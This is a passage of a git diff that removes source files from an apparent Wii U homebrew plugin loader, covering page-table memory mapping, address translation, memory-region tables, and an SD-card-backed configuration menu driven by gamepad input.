-        //unsigned long long virtual_address = ((unsigned long long)VSID << 28UL) | (page_index << PAGE_INDEX_SHIFT) | (ea_addr & 0xFFF);
-
-        uint32_t primary_hash = (VSID & 0x7FFFF);
-
-        uint32_t hashvalue1 = primary_hash ^ page_index;
-
-        // hashvalue 2 is the complement of the first hash.
-        uint32_t hashvalue2 = ~hashvalue1;
-
-        //uint32_t pageMask = SRTable.sdr1 & 0x1FF;
-
-        // calculate the address of the PTE groups.
-        // PTEs are saved in a group of 8 PTEs
-        // When PTEGaddr1 is full (all 8 PTEs set), PTEGaddr2 is used.
-        // Then H in PTEH needs to be set to 1.
-        uint32_t PTEGaddr1 = (HTABORG << 16) | (((hashvalue1 >> 10) & HTABMASK) <<  16) | ((hashvalue1 & 0x3FF) << 6);
-        uint32_t PTEGaddr2 = (HTABORG << 16) | (((hashvalue2 >> 10) & HTABMASK) << 16) | ((hashvalue2 & 0x3FF) << 6);
-
-        //offset of the group inside the PTE Table.
-        uint32_t PTEGoffset = PTEGaddr1 - (HTABORG << 16);
-
-        bool setSuccessfully = false;
-        PTEGoffset += 7*8;
-        // Lets iterate through the PTE group where out PTE should be saved.
-        for(int32_t j = 7; j>0; PTEGoffset -= 8) {
-            int32_t index = (PTEGoffset/4);
-
-            uint32_t pteh = translation_table[index];
-            // Check if it's already taken. The first bit indicates if the PTE-slot inside
-            // this group is already taken.
-            if ((pteh == 0)) {
-                // If we found a free slot, set the PTEH and PTEL value.
-                DEBUG_FUNCTION_LINE("Used slot %d. PTEGaddr1 %08X addr %08X\n",j+1,PTEGaddr1 - (HTABORG << 16),PTEGoffset);
-                translation_table[index] = PTEH;
-                translation_table[index+1] = PTEL;
-                setSuccessfully = true;
-                break;
-            } else {
-                //printf("PTEGoffset %08X was taken\n",PTEGoffset);
-            }
-            j--;
-        }
-        // Check if we already found a slot.
-        if(!setSuccessfully) {
-            DEBUG_FUNCTION_LINE("-------------- Using second slot -----------------------\n");
-            // We still have a chance to find a slot in the PTEGaddr2 using the complement of the hash.
-            // We need to set the H flag in PTEH and use PTEGaddr2.
-            // (Not well tested)
-            H = 1;
-            PTEH = (V << 31) | (VSID << 7) | (H << 6) | API;
-            PTEGoffset = PTEGaddr2 - (HTABORG << 16);
-            PTEGoffset += 7*8;
-            // Same as before.
-            for(int32_t j = 7; j>0; PTEGoffset -= 8) {
-                int32_t index = (PTEGoffset/4);
-                uint32_t pteh = translation_table[index];
-                //Check if it's already taken.
-                if ((pteh == 0)) {
-                    translation_table[index] = PTEH;
-                    translation_table[index+1] = PTEL;
-                    setSuccessfully = true;
-                    break;
-                } else {
-                    //printf("PTEGoffset %08X was taken\n",PTEGoffset);
-                }
-                j--;
-            }
-
-            if(!setSuccessfully) {
-                // Fail if we couldn't find a free slot.
-                DEBUG_FUNCTION_LINE("-------------- No more free PTE -----------------------\n");
-                return false;
-            }
-        }
-    }
-    return true;
-}
-
-uint32_t MemoryMapping::PhysicalToEffective(uint32_t phyiscalAddress) {
-    uint32_t result = 0;
-    const memory_values_t * curMemValues = NULL;
-    int32_t curOffset = 0;
-    //iterate through all own mapped memory regions
-    for(int32_t i = 0; true; i++) {
-        if(mem_mapping[i].physical_addresses == NULL) {
-            break;
-        }
-
-        curMemValues = mem_mapping[i].physical_addresses;
-        uint32_t curOffsetInEA = 0;
-        // iterate through all memory values of this region
-        for(int32_t j= 0; true; j++) {
-            if(curMemValues[j].end_address == 0) {
-                break;
-            }
-            if(phyiscalAddress >= curMemValues[j].start_address && phyiscalAddress < curMemValues[j].end_address) {
-                // calculate the EA
-                result = (phyiscalAddress - curMemValues[j].start_address)  + (mem_mapping[i].effective_start_address + curOffsetInEA);
-                return result;
-            }
-            curOffsetInEA += curMemValues[j].end_address - curMemValues[j].start_address;
-        }
-    }
-
-    return result;
-}
-
-uint32_t MemoryMapping::EffectiveToPhysical(uint32_t effectiveAddress) {
-    uint32_t result = 0;
-    // CAUTION: The data may be fragmented between multiple areas in PA.
-    const memory_values_t * curMemValues = NULL;
-    int32_t curOffset = 0;
-
-    for(int32_t i = 0; true; i++) {
-        if(mem_mapping[i].physical_addresses == NULL) {
-            break;
-        }
-        if(effectiveAddress >= mem_mapping[i].effective_start_address && effectiveAddress < mem_mapping[i].effective_end_address) {
-            curMemValues = mem_mapping[i].physical_addresses;
-            curOffset = mem_mapping[i].effective_start_address;
-            break;
-        }
-    }
-
-    if(curMemValues == NULL) {
-        return result;
-    }
-
-    for(int32_t i= 0; true; i++) {
-        if(curMemValues[i].end_address == 0) {
-            break;
-        }
-        int32_t curChunkSize = curMemValues[i].end_address - curMemValues[i].start_address;
-        if(effectiveAddress < (curOffset + curChunkSize)) {
-            result = (effectiveAddress - curOffset) + curMemValues[i].start_address;
-            break;
-        }
-        curOffset += curChunkSize;
-    }
-    return result;
-}
diff --git a/src/mymemory/memory_mapping.h b/src/mymemory/memory_mapping.h
deleted file mode 100644
index 299d3c2..0000000
--- a/src/mymemory/memory_mapping.h
+++ /dev/null
@@ -1,201 +0,0 @@
-#ifndef __WUPS_MEMORY_MAPPING_H_
-#define __WUPS_MEMORY_MAPPING_H_
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#include <dynamic_libs/os_types.h>
-#include "mykernel/kernel_defs.h"
-
-typedef struct pageInformation_ {
-    uint32_t addr;
-    uint32_t size;
-    uint32_t ks;
-    uint32_t kp;
-    uint32_t nx;
-    uint32_t pp;
-    uint32_t phys;
-} pageInformation;
-
-typedef struct _memory_values_t {
-    uint32_t start_address;
-    uint32_t end_address;
-} memory_values_t;
-
-typedef struct _memory_mapping_t {
-    uint32_t effective_start_address;
-    uint32_t effective_end_address;
-    const memory_values_t* physical_addresses;
-} memory_mapping_t;
-
-#define SEGMENT_UNIQUE_ID           0x00AABBCC // Unique ID. Chosen arbitrary.
-#define PAGE_INDEX_SHIFT            (32-15)
-#define PAGE_INDEX_MASK             ((1 << (28 - PAGE_INDEX_SHIFT)) - 1)
-
-#define MEMORY_START_BASE               0x80000000
-
-#define MEMORY_LOADER_SPACE_SIZE        0x00800000      // At most: 8MB for the plugin loader.
-#define MEMORY_PLUGIN_SPACE_SIZE        0x04000000      // At most: 64MB for plugins.
-#define MEMORY_VIDEO_SPACE_SIZE         0x03600000      // At most: 56MB for video.
-#define MEMORY_PLUGIN_HEAP_SIZE         0x08000000      // At most: 128MB for plugins heap.
-
-#define MEMORY_START_PLUGIN_LOADER      MEMORY_START_BASE
-#define MEMORY_START_PLUGIN_LOADER_END  MEMORY_START_PLUGIN_LOADER + MEMORY_LOADER_SPACE_SIZE
-
-#define MEMORY_START_PLUGIN_SPACE       MEMORY_START_PLUGIN_LOADER_END
-#define MEMORY_START_PLUGIN_SPACE_END   MEMORY_START_PLUGIN_SPACE + MEMORY_PLUGIN_SPACE_SIZE
-
-#define MEMORY_START_VIDEO_SPACE        MEMORY_START_PLUGIN_SPACE_END
-#define MEMORY_START_VIDEO_SPACE_END    MEMORY_START_VIDEO_SPACE + MEMORY_VIDEO_SPACE_SIZE
-
-#define MEMORY_START_PLUGIN_HEAP        MEMORY_START_VIDEO_SPACE_END
-#define MEMORY_START_PLUGIN_HEAP_END    MEMORY_START_PLUGIN_HEAP + MEMORY_PLUGIN_HEAP_SIZE
-
-const memory_values_t mem_vals_loader[] = {
-    {0x28000000 + 0x06620000, 0x28000000 + 0x06E20000},                         // 8MB          0x80000000 0x80800000 -> 0x2E700000 0x2EF00000
-    {0,0}
-};
-
-const memory_values_t mem_vals_plugins[] = {
-    {0x28000000 + 0x06E20000, 0x28000000 + 0x07E20000},                         // 16MB         0x80800000 0x81800000 -> 0x2EF00000 0x2FF00000
-    {0,0}
-};
-
-const memory_values_t mem_vals_video[] = {
-    // The GPU doesn't have access to the 0x28000000 - 0x32000000 area, so we need memory from somewhere else.
-    // From the SharedReadHeap of the loader.
-    //
-    // #define TinyHeap_Alloc ((int32_t (*)(void* heap, int32_t size, int32_t align,void ** outPtr))0x0101235C)
-    // #define TinyHeap_Free ((void (*)(void* heap, void * ptr))0x01012814)
-    // uint32_t SharedReadHeapTrackingAddr = 0xFA000000 + 0x18 + 0x830 // see https://github.com/decaf-emu/decaf-emu/blob/master/src/libdecaf/src/cafe/loader/cafe_loader_shared.cpp#L490
-    //
-    // Map the area of the heap to somewhere in the user space and test allocation with
-    // void * heap = (void*) SharedReadHeapTrackingAddr - [delta due mapping e.g (0xF8000000 + 0x80000000)];
-    // int size = 0x20000; // value have to be a multiple of 0x20000;
-    // while(true){
-    //     void * outPtr = NULL;
-    //     if(TinyHeap_Alloc(heap,size, 0x20000,&outPtr) == 0){ // value have to be a multiple of 0x20000;
-    //         DEBUG_FUNCTION_LINE("Allocated %d kb on heap %08X (PA %08X)\n",size/1024,(uint32_t)outPtr, OSEffectiveToPhysical(outPtr));
-    //         TinyHeap_Free(heap, outPtr);
-    //     }else{
-    //         DEBUG_FUNCTION_LINE("Failed %08X\n",(uint32_t)outPtr);
-    //         break;
-    //     }
-    //     size += 0x20000; // value have to be a multiple of 0x20000;
-    // }
-    //
-    {0x1A020000, 0x1A020000 +0xE60000},  // size: 14720 kB
-    // The following chunk were empty while early tests and are maybe promising. However we can get 15mb from
-    // a loader heap. Which should be enough for now.
-    //{0x14000000 + 0x02E00000 , 0x14000000 +0x034E0000}, // size: 7040 kB
-    //{0x14000000 + 0x02820000 , 0x14000000 +0x02C20000}, // size: 4096 kB
-    //{0x14000000 + 0x05AE0000 , 0x14000000 +0x06000000}, // size: 5248 kB
-    //{0x14000000 + 0x08040000 , 0x14000000 +0x08400000}, // size: 3840 kB
-    //{0x18000000 , 0x18000000 +0x3000000}, // size: 3840 kB
-    {0,0}
-};
-
-// Values needs to be aligned to 0x20000 and size needs to be a multiple of 0x20000
-const memory_values_t mem_vals_heap[] = {
-    // 5.5.2 EUR
-    {0x28000000 + 0x09000000, 0x28000000 + 0x09E20000}, // size: 14464 kB
-    {0x28000000 + 0x058E0000, 0x28000000 + 0x06000000}, // size: 7296 kB
-    {0x28000000 + 0x053C0000, 0x28000000 + 0x05880000}, // size: 4864 kB
-    {0x28000000 + 0x08C20000, 0x28000000 + 0x08F20000}, // size: 3072 kB
-    {0x28000000 + 0x00900000, 0x28000000 + 0x00B00000}, // size: 2048 kB
-    {0x28000000 + 0x07E20000, 0x28000000 + 0x07F80000}, // size: 1408 kB
-    {0x28000000 + 0x02060000, 0x28000000 + 0x021A0000}, // size: 1280 kB
-    {0x28000000 + 0x083C0000, 0x28000000 + 0x084C0000}, // size: 1024 kB
-    {0x28000000 + 0x003C0000, 0x28000000 + 0x004C0000}, // size: 1024 kB
-    {0x28000000 + 0x02BC0000, 0x28000000 + 0x02CA0000}, // size: 896 kB
-    {0x28000000 + 0x080E0000, 0x28000000 + 0x08180000}, // size: 640 kB
-    {0x28000000 + 0x000E0000, 0x28000000 + 0x00160000}, // size: 512 kB
-    {0x28000000 + 0x00E40000, 0x28000000 + 0x00EC0000}, // size: 512 kB
-    {0x28000000 + 0x00EE0000, 0x28000000 + 0x00F60000}, // size: 512 kB
-    {0x28000000 + 0x00FA0000, 0x28000000 + 0x01020000}, // size: 512 kB
-    {0x28000000 + 0x086E0000, 0x28000000 + 0x08760000}, // size: 512 kB
-    {0x28000000 + 0x04B60000, 0x28000000 + 0x04B80000}, // size: 128 kB
-    // This chunk was reduced several times, it _might_ be dangerous to use, let's put it right to the end.
-    {0x28000000 + 0x01040000, 0x28000000 + 0x01340000}, // size: 3072 kB
-
-    // Not usable on 5.5.2
-    //
-    // Used in notifications {0x28000000 + 0x01720000, 0x28000000 + 0x018A0000}, // size: 1536 kB
-    //                       {0x28000000 + 0x03820000, 0x28000000 + 0x038C0000}, // size: 640 kB
-    //                       {0x28000000 + 0x03920000, 0x28000000 + 0x039A0000}, // size: 512 kB
-    // Used in notifications {0x28000000 + 0x04B80000, 0x28000000 + 0x051E0000}, // size: 6528 kB
-    //                       {0x28000000 + 0x08F20000, 0x28000000 + 0x09000000}, // size: 896 kB
-
-    //                       {0x28000000 + 0x013A0000, 0x28000000 + 0x013C0000}, // size: 128 kB
-
-    // Porting to other/newer firmware:
-    // Map this to check for free regions.
-    // Use MemoryMapper::testFreeMemory() to see regions with are 0x00000000;
-    // Then map the promising regions, and do the write/read check.
-    // Writing numbers into the area, open the home menu and all background apps an check if anything was
-    // overridden.
-    // {0x28000000 + 0x00000000, 0x28000000 + 0x0A000000},              //
-
-    {0,0}
-};
-
-const memory_mapping_t mem_mapping[] = {
-    {MEMORY_START_VIDEO_SPACE,      MEMORY_START_VIDEO_SPACE_END,   mem_vals_video},
-    {MEMORY_START_PLUGIN_LOADER,    MEMORY_START_PLUGIN_LOADER_END, mem_vals_loader},
-    {MEMORY_START_PLUGIN_SPACE,     MEMORY_START_PLUGIN_SPACE_END,  mem_vals_plugins},
-    {MEMORY_START_PLUGIN_HEAP,      MEMORY_START_PLUGIN_HEAP_END,   mem_vals_heap},
-    {0,0,NULL}
-};
-
-class MemoryMapping {
-
-public:
-    static bool isMemoryMapped();
-
-    static void setupMemoryMapping();
-
-    static void printPageTableTranslation(sr_table_t srTable, uint32_t * translation_table);
-
-    static void writeTestValuesToMemory();
-
-    static void readTestValuesFromMemory();
-
-    static void searchEmptyMemoryRegions();
-
-    static uint32_t getHeapAddress();
-
-    static uint32_t getHeapSize();
-
-    static uint32_t getVideoMemoryAddress();
-
-    static uint32_t getVideoMemorySize();
-
-    static uint32_t getAreaSizeFromPageTable(uint32_t start, uint32_t maxSize);
-
-    // Caution when using the result. A chunk of memory in effective address may be split up
-    // into several small chunks inside physical space.
-    static uint32_t PhysicalToEffective(uint32_t phyiscalAddress);
-
-    // Caution when using the result. A chunk of memory in effective address may be split up
-    // into several small chunks inside physical space.
-    static uint32_t EffectiveToPhysical(uint32_t effectiveAddress);
-
-private:
-
-    static void memoryMappingForRegions(const memory_mapping_t * memory_mapping, sr_table_t SRTable, uint32_t * translation_table);
-
-    static bool mapMemory(uint32_t pa_start_address,uint32_t pa_end_address,uint32_t ea_start_address, sr_table_t SRTable, uint32_t * translation_table);
-
-
-    static bool getPageEntryForAddress(uint32_t SDR1, uint32_t addr, uint32_t vsid, uint32_t * translation_table,uint32_t* oPTEH, uint32_t* oPTEL, bool checkSecondHash);
-
-    static bool getPageEntryForAddressEx(uint32_t pageMask, uint32_t addr, uint32_t vsid, uint32_t primaryHash, uint32_t * translation_table,uint32_t* oPTEH, uint32_t* oPTEL,uint32_t H) ;
-};
-
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif // __KERNEL_DEFS_H_
diff --git a/src/myutils/ConfigInformation.cpp b/src/myutils/ConfigInformation.cpp
deleted file mode 100644
index e7accf2..0000000
--- a/src/myutils/ConfigInformation.cpp
+++ /dev/null
@@ -1,117 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-
-#include <map>
-#include <string>
-#include <wups/config/WUPSConfig.h>
-#include "ConfigInformation.h"
-
-ConfigInformation::ConfigInformation(WUPSConfig * config, std::string persistPath, std::string persistFileName) {
-    this->config = config;
-    this->persistPath = persistPath;
-    this->persistFileName = persistFileName;
-    createConfigSettings();
-}
-
-ConfigInformation::~ConfigInformation() {
-    if(configSettings != NULL) {
-        delete configSettings;
-        configSettings = NULL;
-    }
-    if(config != NULL) {
-        delete config;
-        config = NULL;
-    }
-}
-
-bool ConfigInformation::createConfigSettings() {
-    if(this->config == NULL) {
-        return false;
-    }
-
-    if(this->configSettings != NULL) {
-        delete this->configSettings;
-    }
-
-    std::map<int32_t,std::string> defaultValues;
-    std::map<int32_t,std::string> settingsNames;
-    int32_t index = 0;
-    for (auto & curCat : this->config->getCategories()) {
-        for (auto & curItem : curCat->getItems()) {
-            std::string configID = curItem->getConfigID();
-            std::string defaultValue = curItem->persistValue();
-
-            defaultValues[index] = defaultValue;
-            settingsNames[index] = configID;
-            index++;
-        }
-    }
-
-    configSettings = new ConfigSettings(persistPath, persistFileName, defaultValues, settingsNames);
-
-    return (configSettings != NULL);
-}
-
-bool ConfigInformation::loadValuesFromSD() {
-    if(this->config == NULL || this->configSettings == NULL) {
-        return false;
-    }
-
-    for (auto & curCat : this->config->getCategories()) {
-        for (auto & curItem : curCat->getItems()) {
-            std::string configID = curItem->getConfigID();
-            std::string prevValue = curItem->persistValue();
-            std::string loadedValue = this->configSettings->getValueAsString(this->configSettings->getIdByName(configID));
-            //DEBUG_FUNCTION_LINE("Loaded %s(%d) to %s. Previous value was %s \n",configID.c_str(),this->configSettings->getIdByName(configID), loadedValue.c_str(), prevValue.c_str());
-            if(prevValue.compare(loadedValue) != 0) {
-                //DEBUG_FUNCTION_LINE("Call loadValue\n");
-                curItem->loadValue(loadedValue);
-                curItem->callCallback();
-            }
-        }
-    }
-    return true;
-}
-
-void ConfigInformation::updateAndSaveSettings(bool forceAll) {
-    if(this->config == NULL || this->configSettings == NULL) {
-        return;
-    }
-    updateConfigSettings();
-    configSettings->Save(forceAll);
-}
-
-bool ConfigInformation::updateConfigSettings() {
-    if(this->config == NULL || this->configSettings == NULL) {
-        return false;
-    }
-
-    for (auto & curCat : this->config->getCategories()) {
-        for (auto & curItem : curCat->getItems()) {
-            std::string configID = curItem->getConfigID();
-            std::string newValue = curItem->persistValue();
-            if(this->configSettings->setValueAsString(this->configSettings->getIdByName(configID), newValue)) {
-                // When the value has changed, call the callback.
-                DEBUG_FUNCTION_LINE("Called callback. Reason. Menu was closed and value has changed\n");
-                curItem->callCallback();
-            }
-
-            //DEBUG_FUNCTION_LINE("Set %s(%d) to %s\n",configID.c_str(),this->configSettings->getIdByName(configID), newValue.c_str());
-        }
-    }
-    return true;
-}
diff --git a/src/myutils/ConfigInformation.h b/src/myutils/ConfigInformation.h
deleted file mode 100644
index 880a5f9..0000000
--- a/src/myutils/ConfigInformation.h
+++ /dev/null
@@ -1,61 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-
-#ifndef _CONFIG_INFORMATION_H_
-#define _CONFIG_INFORMATION_H_
-
-#include <wups/config/WUPSConfig.h>
-#include "settings/ConfigSettings.h"
-#include <string>
-#include <utils/logger.h>
-
-class ConfigInformation {
-
-public:
-    /**
-        Creates a ConfigInformation object for a given WUPSConfig.
-        This also is responsible for persisting/loading the configurations to/from the SDCard.
-        The configuration will be loaded created/loaded at "[persistPath]/[persistFileName]"
-    **/
-    ConfigInformation(WUPSConfig * config, std::string persistPath, std::string persistFileName);
-
-    /**
-        Deletes the given WUPSConfig
-        Deletes the created ConfigSettings
-    **/
-    ~ConfigInformation();
-
-    void updateAndSaveSettings(bool forceAll);
-    
-    bool loadValuesFromSD();
-
-    WUPSConfig * getConfig() {
-        return config;
-    }
-
-private:
-    bool createConfigSettings();
-    bool updateConfigSettings();
-
-    WUPSConfig * config = NULL;
-    ConfigSettings * configSettings = NULL;
-    std::string persistPath;
-    std::string persistFileName;
-};
-
-
-#endif
diff --git a/src/myutils/ConfigUtils.cpp b/src/myutils/ConfigUtils.cpp
deleted file mode 100644
index 5594433..0000000
--- a/src/myutils/ConfigUtils.cpp
+++ /dev/null
@@ -1,395 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-#include <vector>
-#include <map>
-#include <wups/config/WUPSConfig.h>
-#include <dynamic_libs/vpad_functions.h>
-#include <utils/logger.h>
-
-#include "common/common.h"
-#include "common/retain_vars.h"
-
-#include "overlay_helper.h"
-#include "ScreenUtils.h"
-#include "ConfigUtils.h"
-#include <language/gettext.h>
-
-#include "ConfigInformation.h"
-
-void ConfigUtils::configMenuOpenedCallback(wups_overlay_options_type_t screen, void * args) {
-    // We close the configuration menu with the home button, but this would also
-    // trigger the home menu.
-    // To avoid this (and restore the GX2 buffers properly) we disable the home menu button
-    // as long we're in the configuration menu.
-    OSEnableHomeButtonMenu(false);
-
-    std::vector<WUPSConfig*> * configList = (std::vector<WUPSConfig*> *) args;
-
-    if(configList == NULL) {
-        DEBUG_FUNCTION_LINE("configList was NULL.\n");
-        // Re-enable home button. TODO: Only enable when it was enabled before.
-        OSEnableHomeButtonMenu(true);
-        return;
-    }
-
-    int32_t i = 0;
-    int32_t x = 0;
-    int32_t screen_y_pos = 0;
-    int32_t visible_rows_start = 2;
-    int32_t visible_rows_end = 16;
-    int32_t visible_rows_range = visible_rows_end - visible_rows_start;
-
-    WUPSConfig* curConfig = NULL;
-
-    VPADData vpad_data;
-    int32_t error;
-
-    int32_t maxSelect = 0;
-    int32_t curSelect = 0;
-
-    int32_t curScreenOffset = 0;
-    bool firstRun = true;
-    while(true) {
-        VPADRead(0, &vpad_data, 1, &error);
-        if(vpad_data.btns_d == VPAD_BUTTON_HOME) {
-            break;
-        }
-
-        int32_t newSelect = curSelect;
-        bool changed = false;
-
-        if(curConfig == NULL) {
-            maxSelect = configList->size();
-            if(maxSelect > 0) {
-                maxSelect--;
-            }
-
-            bool selected = false;
-
-            if(vpad_data.btns_r & VPAD_BUTTON_DOWN) {
-                newSelect++;
-            }
-            if(vpad_data.btns_r & VPAD_BUTTON_UP) {
-                newSelect--;
-            }
-            if(vpad_data.btns_r & VPAD_BUTTON_A) {
-                selected = true;
-                changed = true;
-            }
-
-            if(newSelect < 0) {
-                newSelect = maxSelect;
-            } else if(newSelect > maxSelect) {
-                newSelect = 0;
-            }
-
-            if(newSelect != curSelect) {
-                curSelect = newSelect;
-                changed = true;
-            }
-            if(!firstRun) {
-                if(!changed) {
-                    continue;
-                }
-            }
-            firstRun = false;
-
-            ScreenUtils::OSScreenClear(screen);
-            screen_y_pos = 0;
-            ScreenUtils::printTextOnScreen(screen, 0, visible_rows_end + 1, gettext("Press HOME to return to the running application."));
-            ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,gettext("Configurable running plugins:"));
-            ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,"==========================");
-
-            if(configList->size() == 0) {
-                ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,gettext("No configurable running plugins found."));
-                ScreenUtils::flipBuffers(screen);
-                continue;
-            }
-
-            int32_t index = 0;
-            for (auto & curConfig_ : *configList) {
-                if(index == curSelect) {
-                    ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,"> %s",curConfig_->getName().c_str());
-                    if(selected) {
-                        curConfig = curConfig_;
-                        curSelect = 0;
-                        curScreenOffset = 0;
-                        firstRun = true;
-                        maxSelect = 0;
-                        for (auto & curCat : curConfig_->getCategories()) {
-                            maxSelect += curCat->getItems().size();
-                        }
-                        if(maxSelect > 0) {
-                            maxSelect--;
-                        }
-                    }
-                } else {
-                    ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,"  %s",curConfig_->getName().c_str());
-                }
-                index++;
-            }
-            ScreenUtils::flipBuffers(screen);
-            continue;
-        }
-
-        WUPSConfigButtons pressedButtons = WUPS_CONFIG_BUTTON_NONE;
-
-        /*
-        if(vpad_data.btns_r & VPAD_BUTTON_DOWN) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_DOWN;
-        }
-        if(vpad_data.btns_r & VPAD_BUTTON_UP) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_UP;
-        }*/
-        if(vpad_data.btns_d & VPAD_BUTTON_A) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_A;
-        }
-        if(vpad_data.btns_d & VPAD_BUTTON_B) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_B;
-        }
-        if(vpad_data.btns_d & VPAD_BUTTON_LEFT) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_LEFT;
-        }
-        if(vpad_data.btns_d & VPAD_BUTTON_RIGHT) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_RIGHT;
-        }
-        if(vpad_data.btns_d & VPAD_BUTTON_L) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_L;
-        }
-        if(vpad_data.btns_d & VPAD_BUTTON_R) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_R;
-        }
-        if(vpad_data.btns_d & VPAD_BUTTON_ZL) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_ZL;
-        }
-        if(vpad_data.btns_d & VPAD_BUTTON_ZR) {
-            pressedButtons |= WUPS_CONFIG_BUTTON_ZR;
-        }
-
-        if(vpad_data.btns_r & VPAD_BUTTON_DOWN) {
-            newSelect++;
-        }
-        if(vpad_data.btns_r & VPAD_BUTTON_UP) {
-            newSelect--;
-        }
-
-        if(vpad_data.btns_d & VPAD_BUTTON_B) {
-            curConfig = NULL;
-            curSelect = 0;
-            curScreenOffset = 0;
-            firstRun = true;
-            continue;
-        }
-        if(newSelect < 0) {
-            newSelect = maxSelect;
-        } else if(newSelect > maxSelect) {
-            newSelect = 0;
-        }
-
-        if(newSelect != curSelect) {
-            curSelect = newSelect;
-            changed = true;
-        }
-        if(pressedButtons != WUPS_CONFIG_BUTTON_NONE) {
-            changed = true;
-        }
-
-        int32_t cur_visible_rows = 0;
-        if(!firstRun) {
-            if(!changed) {
-                continue;
-            }
-        }
-        firstRun = false;
-
-        ScreenUtils::OSScreenClear(screen);
-
-        int32_t inSelect = 0;
-
-        bool ignore = false;
-        for (auto & curCat : curConfig->getCategories()) {
-            cur_visible_rows += 2;
-            for (auto & curItem : curCat->getItems()) {
-
-                cur_visible_rows++;
-                if(!ignore && curSelect == inSelect) {
-                    if(curSelect == 0) {
-                        curScreenOffset = 0;
-                    } else if(cur_visible_rows + curScreenOffset >= visible_rows_range) {
-                        curScreenOffset -= (cur_visible_rows + curScreenOffset) - visible_rows_range;
-                    } else if(cur_visible_rows + curScreenOffset < visible_rows_range/2 && cur_visible_rows >= visible_rows_range/2) {
-                        curScreenOffset -= (cur_visible_rows + curScreenOffset) - visible_rows_range/2;
-                    }
-                    ignore = true;
-                }
-                inSelect++;
-            }
-        }
-
-        ScreenUtils::printTextOnScreen(screen, 0, 0, "Configuration for %s:", curConfig->getName().c_str());
-
-        int32_t arrow_x_offset = 60;
-        if(curScreenOffset < 0) {
-            ScreenUtils::printTextOnScreen(screen, arrow_x_offset, visible_rows_start + 1, " ^");
-            ScreenUtils::printTextOnScreen(screen, arrow_x_offset, visible_rows_start + 2, " |");
-        }
-        if(curScreenOffset + cur_visible_rows > visible_rows_range) {
-            ScreenUtils::printTextOnScreen(screen, arrow_x_offset, visible_rows_end - 2, " | ");
-            ScreenUtils::printTextOnScreen(screen, arrow_x_offset, visible_rows_end - 1, " v");
-        }
-
-        ScreenUtils::printTextOnScreen(screen, 0, visible_rows_end + 1, gettext("B = plugin overview, HOME  = back to running application."));
-
-        screen_y_pos = curScreenOffset + visible_rows_start;
-
-        inSelect = 0;
-
-        for (auto & curCat : curConfig->getCategories()) {
-            if((screen_y_pos + 2) >= visible_rows_end) {
-                break;
-            }
-            if((screen_y_pos - visible_rows_start) < -1) {
-                screen_y_pos += 2;
-            } else if((screen_y_pos - visible_rows_start) < 0) {
-                screen_y_pos++;
-                ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,"==========================");
-            } else {
-                ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,"%s",curCat->getName().c_str());
-                ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,"==========================");
-            }
-            for (auto & curItem : curCat->getItems()) {
-                if(screen_y_pos >= visible_rows_end) {
-                    break;
-                }
-                curItem->visibleOnScreen(screen);
-                if(curSelect == inSelect) {
-                    if(pressedButtons != WUPS_CONFIG_BUTTON_NONE) {
-                        curItem->onButtonPressed(pressedButtons);
-                        firstRun = true;
-                    }
-                    ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,"> %-36s %s\n",curItem->getDisplayName().c_str(),curItem->getCurrentValueSelectedDisplay().c_str());
-                } else if((screen_y_pos - visible_rows_start) >= 0) {
-                    ScreenUtils::printTextOnScreen(screen, x, screen_y_pos++,"  %-36s %s\n",curItem->getDisplayName().c_str(),curItem->getCurrentValueDisplay().c_str());
-                } else {
-                    screen_y_pos++;
-                }
-                inSelect++;
-            }
-
-        }
-
-        ScreenUtils::flipBuffers(screen);
-        i++;
-    }
-    // Re-enable home button. TODO: Only enable when it was enabled before.
-    // Currently we can be sure it was enabled, because it's an requirement to enter the configuration menu.
-    // This might change in the future.
-    OSEnableHomeButtonMenu(true);
-}
-
-void ConfigUtils::openConfigMenu(std::vector<WUPSConfig*> configs) {
